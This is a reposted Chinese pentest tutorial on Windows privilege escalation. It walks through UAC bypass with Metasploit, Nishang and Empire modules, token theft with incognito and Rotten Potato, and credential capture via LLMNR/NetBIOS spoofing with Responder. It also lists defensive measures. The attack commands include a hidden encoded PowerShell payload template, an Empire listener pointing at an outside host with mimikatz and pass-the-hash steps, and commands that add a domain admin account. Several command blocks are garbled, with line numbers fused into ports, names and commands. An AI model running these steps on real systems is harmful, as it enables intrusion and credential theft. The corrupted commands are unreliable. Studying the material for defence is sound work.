内网渗透基石篇–权限提升(下) – 作者:pony686

前言:ᴇᴠᴇʀʏᴛʜɪɴɢ ᴡɪʟʟ ʙᴇ ᴏᴋ ☼ 心田常植繁花,生命便时时如沐初夏。

一、 绕过UAC提权分析及规范

1.基本概念

用户帐户控制(User Account Control) 是Windows Vista(及更高版本操作系统)中一组新的基础结构技术,可以帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统,同时也可以帮助组织部署更易于管理的平台。

如果计算机的操作系统版本是windows VIsta或更高,在权限不够的情况下,访问系统磁盘的根目录、windows目录、Program FIles 目录,以及读、写系统登陆数据库的程序等操作,都需要经过UAC 的认证才能运行。

配置windows update

增加/删除账户

更改账户类型

更改UAC的设置

安装ActiveX

安装/卸载程序

安装设备驱动程序

将文件移动/复制到Program FIles或WIndows 目录下

查看其他用户的文件夹

UAC有如下四种设置要求:

始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户
仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

UAC原理:
界面操作是:通过询问用户是否授权给应用程序,使用硬盘驱动器和系统文件的权力。以达到阻止恶意程序(“恶意软件”)损坏系统的效果。

内部逻辑是:

在触发 UAC 时,操作系统会创建一个consent.exe进程,用来确定是否创建具有管理员权限的进程(通过白名单和用户选择判断),然后creat process。请求进程将要请求的进程cmdline和进程路径,通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名,以及,发起者的权限,是否符合要求,然后决定是否弹出UAC框,让用户确认。这个UAC框会创建新的安全桌面,遮挡之前的界面。同时这个UAC框进程是SYSTEM账户的进程,其他标准用户进程无法与其通信交互。用户确认之后,会调用CreateProcessAsUser函数,以管理员权限启动请求的进程。

所以,病毒木马想要实现高权限操作,就不得不绕过UAC弹窗,在没有通知用户情况下, 悄悄地将普通权限,提升为管理员权限启动进程,从而使程序得到高权限的操作。

2 bypassusac 模块

1.原理:为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)

2.实验1

环境:win7 /192.168.0.8

kali:192.168.0.1

1.查看目标ip地址

1624707879_60d7132704de41286121a.png!small?1624707879810

2.使用exploit/windows/local/bypassuac模块

1624707891_60d71333ab039031dd468.png!small?1624707892417

3.设置payload

1624707909_60d713453ffb6b55c61f0.png!small?1624707909996

4.获得权限,查看uid。

1624707918_60d7134e7a8b7bf7118fb.png!small?1624707919316

3 RunAS模块

1.使用windows/local/ask模块

1624707942_60d71366d4e732e273f65.png!small?1624707943681

1624707957_60d7137506adbadeac1c3.png!small?1624707957745

2.然后执行

1624707969_60d71381ccd1ed8a2c1f4.png!small?1624707970602

3.获得权限查看目标uid。

1624707981_60d7138d3916a7eb86e0c.png!small?1624707981975

4.针对绕过UAC提权的防御措施

在企业网络环境中,防止绕过UAC的最好方法是不让内网机器的使用者拥有管理员权限,从而降低系统遭受攻击的可能性。

在家庭网络环境中,建议使用非管理员权限进行日常活动,使用本地管理员权限登陆的用户,要将UAC设置成“始终通知”。

1624708006_60d713a65fee98a60aa11.png!small?1624708007162

二.Nishang 中的InvoPsUACme模块

项目下载地址https://github.com/samratashok/nishang

应用场景:假设已经将nishang下载到受害主机接下来需要进行UAC提权

使用sysprep方法和默认的Payload执行

Invoke-PsUACme -Verbose

打开受害者主机的powershell,执行命令:Invoke-PsUACme,执行成功后会弹窗一个窗口,

窗口是超级管理员权限,可以添加账号

1624708065_60d713e17776cb2d23057.png!small?1624708066240

//使用oobe方法和默认的Payload执行

Invoke-PsUACme -method oobe -Verbose

//使用-Payload参数可以自行指定要执行的Payload

Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload"

三.Empire 中bypassuac模块

1.bypassuac模块

usemodule privesec/bypassuac

set Linstener shuteer

exexute

1624708188_60d7145c5836ec81b3518.png!small?1624708189103

2.bypassuac_wscript模块

工作原理:使用C:\Windows\wscript.exe执行payload,即绕过UAC,以管理员权限执行Payload。可惜的是,这个模块只能在win7的机器上使用,而且部分杀毒软件会报毒!

usemodule privesc/bypassuac_wscript

set Listener shuteer

execute

1624708174_60d7144e3da8f3d668016.png!small?1624708174997

3.常见的UAC绕过方法

白名单机制提权

DLL劫持

利用CLR绕过

COM组件劫持

利用wusa工具的extract选项 模拟可信目录绕过UAC

利用IsecurityEditor COM接口关闭UAC

利用应用程序兼容数据库的特性来绕过UAC

Windows自身漏洞提权 …

四. 令牌窃取分析及规范

令牌是指系统中临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的。

令牌的最大特点是随机性和不可预测性。一般攻击者或者软件都无法将访问猜测出来。访问令牌代表访问控制操作实体的系统对象.密码令牌也叫做认证令牌或硬件硬盘。

伪造令牌攻击的核心是Kerberos协议。Kerveros是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。

1624708240_60d7149072dcb5fedb73a.png!small?1624708241238

流程

1.向认证服务器发送请求,要求得到证书。

2.认证服务器收到请求后,将包含客户端密钥的加密证书发送给客户端。该证书包含服务器Ticket(包含由服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话密钥,Session Key)。当然,认证服务器也会向服务器发送一份该证书,使服务器能够验证登录的客户端的身份。

3.客户端将Ticket传送给服务器。如果服务器确认该客户端的身份,就允许它登录服务器。

客户端登录服务器后,攻击者就能通过入侵服务器来窃取客户端的令牌。

1.令牌窃取

假冒令牌可以假冒一个网络中的另一个用户进行各种操作。令牌包括登录会话的安全信息,如用户身份识别、用户组合用户权限。当一个用户登录Windows系统时,它被给定一个访问令牌作为它认证会话的一部分。例如,一个入侵用户可能需要域管理员的操作权限的时候,当它使用令牌便可假冒域管理员进行工作(攻击)。

令牌(Token):令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。

令牌分类

访问令牌(Access Token):  表示访问控制操作主体的系统对象

会话令牌(Session Token): 交互会话中唯一的身份标识符

密保令牌(Security Token): 又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾

Windows访问令牌

Windows 访问令牌(Access Tokens) 是一个描述进程或线程安全上下文的对象。令牌所包含的信息是与该用户账户相关的进程或线程的身份和权限信息。当用户登录时,系统通过将用户输入的密码与储存在安全数据库中的密码进行对比。若密码正确,系统将生成一个访问令牌。之后,该用户执行的每个进程都会拥有一个该访问令牌的副本。

目前访问令牌分为两种令牌:

主令牌(每一个进程都具有一个唯一的主令牌,进程通过主令牌被开启)

模拟令牌(在默认的情况下,当线程被开启的时候,所在进程的主令牌会自动附加到当前线程上,作为线程的安全上下文。而线程可以运行在另一个非主令牌的访问令牌下执行,而这个令牌被称为模拟令牌。而指定线程的模拟令牌的过程被称为模拟)

主令牌是与进程相关的;模拟的令牌是与模拟令牌的线程相关的。主令牌和模拟令牌,都会在系统重启或者关机后全部清除。

当线程与安全对象进行交互或尝试执行需要特权的系统任务时,系统使用访问令牌来标识用户。访问令牌包含以下信息:

用户帐户的安全标识符(SID)

用户帐户所属的用户群的SIDs

一个logon SID,标识当前登录会话

用户或用户群的特权清单

所有者的SID

基本群的SID

当用户创建可安全对象(securable object)且没有给出安全描述符时,系统使用的缺省的自主访问控制列表(DACL)

访问令牌资源

是否为primary或impersonation token

限制性SIDs的可选列表

当前impersonation级别

其他统计

攻击者可以使用访问令牌在不同的用户或系统安全性上下文下进行操作,以执行操作并逃避检测。

攻击者可以使用内置的Windows API函数来复制现有进程中的访问令牌。这被称为令牌窃取。

攻击者必须已经在特权用户上下文(即管理员)中才能窃取令牌。攻击者通常使用令牌窃取将其安全上下文从管理员级别提升到SYSTEM级别。如果帐户对远程系统具有适当的权限,则对手可以使用令牌作为该令牌的帐户向远程系统进行身份验证。

列举令牌只能列出当前用户和比当前用户权限更低用户的令牌,例如当前权限是system或者是administrator,那么我们就可以看到系统中所有的令牌。

Windows的Access Token有两种类型

Delegation Token:       授权令牌,它支持交互式会话登录(例如本地用户直接登录、远程桌面登录访问)

Impresonation Token: 模拟令牌,它是非交互的会话(例如使用net use访问共享文件夹)。

注:访问令牌的窃取与利用至少需要administrator权限。如下先用域普通账号的权限进行令牌窃取

实验:

进入session中

输入use incognito

输入list_tokens -u

1624708285_60d714bdd648a52af2cd2.png!small?1624708286586

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
WIN-D2GN1OUFTMB\ailx04

得到模拟令牌:

NT AUTHORITY\ANONYMOUS LOGON
impersonate_token WIN-D2GN1OUFTMB\\admin

1624708301_60d714cd8a8021655ee57.png!small?1624708302251

再来一个system权限,whoami显示的就是system

注意这里的双引号

1624708310_60d714d65c08129ddf87b.png!small?1624708311083

2. Rotten Potato 本地提权分析

如果目标系统统中存在有效的令牌,可以通过Rotten Potato程序快速模拟用户令牌来实现权限的提升。首先输入“use incognito”命令,然后输入“list_tokens -u”命令,列出可用的令牌

下载完成后,RottenPotato目录下会有一个rottenpotato.exe可执行文件。执行如下命令,将 rottenpotatocxe上传列日标机器中

这两种不同于初始的 Potato,它是通过 DCOM CALL 来使服务向攻击者监听的端口发起连接并进行 NTLM 认证

Rotten Potato 和 Juicy Potato 几乎是同样的原理,后者在前者的基础上完善。

需要理解的几个知识:

使用 DCOM 时,如果以服务的方式远程连接,那么权限为 System,例如 BITS 服务

使用 DCOM 可以通过 TCP 连接到本机的一个端口,发起 NTLM 认证,该认证可以被重放

LocalService 用户默认具有 SeImpersonate 和 SeAssignPrimaryToken 权限

开启 SeImpersonate 权限后,能够在调用 CreateProcessWithToken 时,传入新的 Token 创建新的进程

开启 SeAssignPrimaryToken 权限后,能够在调用 CreateProcessAsUser 时,传入新的 Token 创建新的进程

1624708346_60d714fa396a45ce7c777.png!small?1624708346879

1624708355_60d7150304493fc1e0a07.png!small?1624708355811

3 添加域管理员

net user sec 123456Bo /ad /domain #添加域用户2net group “domain admins” sec /ad /domain #添加到域管理员组3net group “domain admins” /domain #查看域管理员组45同样在meterpreter中可以使用incognito来模拟域管理员,然后通过迭代系统中所有可用的身份验证令牌来太添加域管理员6add_user sec 12345Bo -h 1.1.1.87net group “domain admins” sec -h 1.1.1.8

4.Empire 下的令牌窃取分析

Empire: listeners) > uselistener http2

(Empire: listeners/http) > info3

(Empire: listeners/http) > set Host http://1.1.1.64

(Empire: listeners/http) > set Port 88885

(Empire: listeners/http) > set Name sec6

(Empire: listeners/http) > execute7

(Empire: listeners) > launcher powershell sec89

(Empire: agents) > interact N78Z965310

(Empire: N78Z9653) > mimikatz11

(Empire: N78Z9653) > creds12

(Empire: N78Z9653) > pth 213

(Empire: N78Z9653) > revtoself #恢复令牌权限

1624708388_60d71524537951c2700d2.png!small?1624708389122

1624708399_60d7152f6d92278f5bcbf.png!small?1624708400195

5.针对令牌窃取提权的防御措施

及时安装微软推送的补丁

对来路不明的·或者有危险的软件,既不要在系统·中使用,也不要在虚拟机中使用。

对令牌的时效性进行限制。

对于令牌,应采取加密存储及多重验证保护

使用加密链路ssl/tls传输令牌,以防止被中间人窃听。

.查找和防御令牌窃取攻击
为了防止域管理员的令牌被窃取,应该禁止域管理员登录其它主机。如果登录了,使用完后应该及时重启电脑,从而把令牌清除。

对系统进行审计

访问令牌操作利用了内置Windows功能。访问令牌的使用被认为是Windows安全的最佳做法,因此禁止使用有问题的功能不是可行的解决方案。

但是,监视访问令牌操纵所必需的Windows 函数的使用可以帮助检测此攻击。应该监视以下操作以检测访问令牌操纵:

runas(命令行审计)
LogonUser(API调用)
DuplicateTokenEx(API调用)
ImpersonateLoggedOnUser(API调用)

虽然这些命令和API调用可以用于合法功能,但监视它们的使用并调查使用它们的进程可以帮助检测执行访问令牌操纵的尝试。

若要启用审核过程创建策略,请编辑以下组策略:
策略位置:> 策略 > Windows 设置的计算机配置 > 安全设置 > 高级审核配置 > 详细跟踪
策略名称:审核进程创建
支持:Windows 7 及更高版本
————————————————

五. 无凭证条件下的权限获取分析及防范

LLMNRNEtBIos欺骗攻击的基本概念

1.LLMNR

本地链路多播名称解析(LLMNR)是一种域名系统数据包格式。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR解析本地网段中机器的名称,直到 DNS服务器恢复正常为止。从 Windows Vista版本开始支持LLMNR。LLMNR支持IPv6。

LLMNR的工作流程如下:

1.DNS客户端在自己的内部名称缓存中查询名称。

2.如果没有找到,主机将向主 DNS发送名称查询请求。

3.如果主DNS没有回应或者收到了错误的信息,主机会向备DNS发送查询请求。

4.如果备DNS没有回应或者收到了错误的信息,将使用LLMNR进行解析。

5.主机通过UDP协议向组播地址224.0.0.252的5355端口发送多播查询请求,以获取主机名所对应的P地址。查询范围仅限于本地子网。

6.本地子网中所有支持 LLMNR 的主机在收到查询请求后,会对比自己的主机名。如果不同,就丢弃;如果相同,就向查询主机发送包含自己IP地址的单播信息。

2. NETBIOS

是一种网络协议,一般用在由十几台计算机组成的局域网中(根据NetBIOS协议广播获得计算机名称,并将其解析为相应的IP地址)。在Windows NT 以后版本的所有操作系统中均可使用NetBIOS。但是,NetBIOS不支持IPv6。

NetBIOS提供的三种服务如下。

NetBIOS-NS(名称服务):主要用于名称注册和解析,以启动会话和分发数据包。该服务需要使用域名服务器来注册NetBIOS 的名称,默认监听UDP137端口,也可以使用TCP137端口。

Datagram Distribution Service(数据报分发服务):无连接服务。该服务负责错误检测和恢复,默认监听UDP 138端口。

Session Service(会话服务):允许两台计算机建立连接,允许电子邮件跨越多个数据包进行传输,提供错误检测和恢复机制。默认使用 TCP 139端口。

3. NET-NTLM hASH

Net-NTLM hash与 NTLM Hash不同。

NTLM Hash是指Windows操作系统的Security Account Manager中保存的用户密码散列值。NTLMHash通常保存在Windows的SAM文件或者NTDS.DIT数据库中,用于对访问资源的用户进行身份验证。

Net-NTLM Hash是指在网络环境中经过NTLM认证的散列值。挑战/响应验证中的“响应”就包含Net-NTLM Hash。使用Responder抓取的通常就是Net-NTLM Hash。攻击者无法使用该散列值进行哈希传递攻击,只能在使用Hashcat等工具得到明文后进行横向移动攻击。

4.LLMNR和NETBIOS欺骗攻击分析

假设目标网络的 DNS服务器因发生故障而无法提供服务时,会退回 LLMNR和 NBT-NS进行计算机名解析。下面使用Responder 工具进行渗透测试。

Responder 是监听 LLMNR和 NBT-NS协议的工具之一,能够抓取网络中所有的 LLMNR和NBT-NS 请求并进行响应,获取最初的账户凭证。

Responder可以利用内置SMB认证服务器、MSSQL认证服务器、HTTP认证服务器、HTTPS认证服务器、LDAP认证服务器、DNS服务器、WPAD代理服务器,以及FTP、POP3、IMAP、SMTP等服务器,收集目标网络中计算机的凭据,还可以通过Multi-Relay 功能在目标系统中执行命令。

1.下载和运行

1624708619_60d7160b540dc42007646.png!small?1624708620102

2. 监听模式

1624708630_60d716164a4364d785ddd.png!small?1624708631076

3. 渗透测试

1624708639_60d7161f6cc75354c1da5.png!small?1624708640160

在渗透测试中使用Responder 开启回应请求功能,Responuer会自动回应客户端的请求并声明自己就是被输人了错误计算机名的那台机器,然石尝试建立SMB连接。客户端项发送自已的Nt-NTeLM Hash进行身份验证,此时将得到目标机器的Net-NTLM Hash

4. 最后使用hashcat解密

1624708655_60d7162f16fce4d248a93.png!small?1624708655848

总结

本文主要从内网权限(UAC)出发,主要介绍一些基本工具和理解一些内网权限方面的基本知识概念,然后做了几个实验来练习和使用工具。

来源:freebuf.com 2021-06-26 20:09:56 by: pony686

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论